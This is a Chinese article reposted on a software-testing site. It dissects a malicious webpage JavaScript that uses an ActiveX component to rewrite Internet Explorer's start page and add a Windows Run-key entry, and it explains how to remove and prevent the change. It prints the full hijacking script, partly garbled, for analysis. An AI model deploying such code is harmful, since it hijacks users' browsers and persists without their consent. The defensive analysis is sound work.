• 软件测试技术
  • 软件测试博客
  • 软件测试视频
  • 开源软件测试技术
  • 软件测试论坛
  • 软件测试沙龙
  • 软件测试资料下载
  • 软件测试杂志
  • 软件测试人才招聘
    暂时没有公告

字号: | 推荐给好友 上一篇 | 下一篇

解剖恶意网站代码

发布: 2007-7-02 21:50 | 作者: admin | 来源: | 查看: 12次 | 进入软件测试论坛讨论

领测软件测试网

  许多网友纷纷指出有的网站不择手段,当用户访问过它们的网页后,不仅IE默认首页被篡改了,而且每次开机后IE都会自动弹出访问该网站。
  我们通过对下面这段JavaScript程序的解剖,希望读者能明白其究竟,并掌握修复的方法。网站应该用丰富精彩的栏目来吸引访问者,希望通过对用户注册表的恶意篡改来达到提高访问量的目的不仅会事得其反,更是一种不道德的行为。
  本代码由子昂轩编辑制作,仅供学习研究之用。
<!-- Begin set start page brought to u by JavaHouse.126.com-->
<SCRIPT language=JavaScript>
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXCompon
ent></APPLET>");
function f(){
try
{
//ActiveX初始化过程(为达到修改用户注册表所必须的准备程序)
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();
try
{
if (documents .cookie.indexOf("Chg") == -1)
//以下是检测用户注册表并修改相应的键值
{
Shl.RegWrite ("HKCU\Software\Microsoft\
  Internet Explorer\Main\Start Page", ""
);//修改用户InternetExplorer浏览器的默认主页
Shl.RegWrite ("HKCU\Software\Microsoft\Windows\
  CurrentVersion\Run\", "建立默认启动页面程序,保证用户每次启动计算机首先打开该页面
var expdate = new Date((new Date()).getTime() + (1));
documents .cookie="Chg=general; expires=" + expdate.toGMTString() + "; path
=/;"
}
}
catch(e)
{}
}
catch(e)
{}
}
function init()
{
setTimeout("f()", 1000);//实现打开页面后1秒钟内执行测试修改注册表的工作
}
init();</SCRIPT>
<!--End set start page -->
  首先,我们来分析一下这句代码,程序中使用:
Shl.RegWrite ("HKCU\Software\
  Microsoft\Internet Explorer\Main\Start Page",
  "修改用户InternetExplorer浏览器的默认主页,其实就是修改用户注册表中HKEY_CURRENT_USERSoftwareMicrosoftInternet Explorermain文件夹下Start Page的键值,这里面的值就是存放的IE浏览器的默认主页,如果你想改回来,把上面的相应代码改为

Shl.RegWrite ("HKCU\Software\Microsoft\
  Internet Explorer\Main\Start Page", "about:blank");
  就可以实现打开IE是空白页了;当然你也不用动注册表,直接打开IE修改Internet选项中的主页更方便些。
  再来看看上述程序最卑鄙的一句代码:
  Shl.RegWrite ("HKCU\Software\Microsoft\
  Windows\CurrentVersion\Run\","
建立默认启动页面程序,保证用户每次启动计算机首先打开该页面通过在注册表中
HKEY_CURRENT_USERSoftwareMicrosoftWindows
  CurrentVersionRun
  文件夹下建立Windows默认启动程序,当Windows启动后,我们会发现这个网页会自动打开,但是在“开始”-“程序”-“启动”中却找不到,这是为什么呢?哦,原来都放到Run这个文件夹下面了。怎么来修改呢?两种方法,一是查找源头,进入注册表,删除Run下面的相应项就可以了;二是在“开始”-“运行”处输入"msconfig",把启动下面相应的那个网站前面的"√"去掉,重新启动计算机就可以了。
  
  避免此类恶意修改注册表的再次发生,你可以在IE的安全属性设置中禁掉ActiveX,当然在以后的网页浏览过程中可能会造成一些正常使用ActiveX的网站无法浏览。还有一种办法就是对于Windows98打开C:WINDOWSJAVAPackagesCVLV1NBB.ZIP,把ActiveXComponent.class删掉;对于WindowsMe打开C:WINDOWSJAVAPackages5NZVFPF1.ZIP,把ActiveXComponent.class删掉。放心,删除这个组件不会影响你正常浏览网页的。
  最后说说在首页使用这类代码的网站的目的,像在启动计算机直接打开网页的做法我认为主要是针对宽带和专线上网的用户,这样只要你不修改注册表禁掉它,你的IE主页每次进入系统都会自动被修改成那个网站;对于拨号上网的用户每次进入系统都开一个找不到的主页,也无所谓,至少你不改注册表,直接修改IE主页属性后可以避免被那种网站再次修改(前提是不再进那个网站),可是每次开机后都弹出个网页也真是让人讨厌。
  以上代码适用于Windows9x/Me,InternetExplorer5.X浏览器,据说对IE6.0无效(因为它里面没有ActiveXComponent.class这个组件),但作者没有测试过。

 

延伸阅读

文章来源于领测软件测试网 https://www.ltesting.net/


关于领测软件测试网 | 领测软件测试网合作伙伴 | 广告服务 | 投稿指南 | 联系我们 | 网站地图 | 友情链接
版权所有(C) 2003-2010 TestAge(领测软件测试网)|领测国际科技(北京)有限公司|软件测试工程师培训网 All Rights Reserved
北京市海淀区中关村南大街9号北京理工科技大厦1402室 京ICP备10010545号-5
技术支持和业务联系:info@testage.com.cn 电话:010-51297073

软件测试 | 领测国际ISTQBISTQB官网TMMiTMMi认证国际软件测试工程师认证领测软件测试网